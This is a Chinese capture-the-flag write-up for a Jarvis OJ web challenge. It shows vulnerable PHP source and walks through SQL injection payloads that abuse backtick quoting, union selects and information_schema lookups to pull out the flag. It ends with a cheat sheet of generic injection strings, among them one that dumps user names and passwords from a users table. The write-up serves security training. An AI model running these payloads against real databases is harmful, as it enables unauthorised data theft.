http://web.jarvisoj.com:32794/index.php~
得到源码
代码语言:javascript复制<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
?table=flag 正常响应 ==> 存在 secret_flag 表 注意到这个反引号 ``,其作用是区分 MySQL 保留字与普通字符
本地尝试
代码语言:javascript复制create table desc # 报错
create table `desc` # 能成功执行
desc `abc` `def`
desc abc def
# 效果是一样的
结合题目 ==> desc `secret_flag` ` (注意空格,此处如果是 desc `secret_flag`` 将被认为是执行 desc secret_flag`)
顺手执行
代码语言:javascript复制?table=flag` ` union select 1
发现还是没有变化,依旧显示 flag{xxx} 不要灰心,这只显示了一条数据而已,加入 limit 试试
代码语言:javascript复制?table=flag` ` union select 1 limit 1,1
==> 1
查询字段
代码语言:javascript复制?table=flag` ` union select group_concat(column_name) from information_schema.columns
where table_name=0x7365637265745f666c6167 limit 1,1
==> flagUwillNeverKnow
(如果 “
被过滤,此处 table_name 的值要进行 hex 编码)
查询数据
代码语言:javascript复制table=flag` ` union select flagUwillNeverKnow from secret_flag limit 1,1
PS:也可以不用 limit,直接 where 0,使得前面的查询为空,则直接显示我们的数据 table=flag
where 0 union select flagUwillNeverKnow from secret_flag
补充知识
information_schema 存储数据库信息的数据库
代码语言:javascript复制数据库名 schemata => schema_name tables => table_schema columns => table_schema 表名 tables => table_name columns => table_name 列名 columns => columns_name
-- 获取当前数据库中所有表
select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
-- 获得所有列名(字段)
select 1,group_concat(column_name) from information_schema.columns where table_name="flag";
-- 下载数据
-1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
-- 获取表中的字段名
-1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #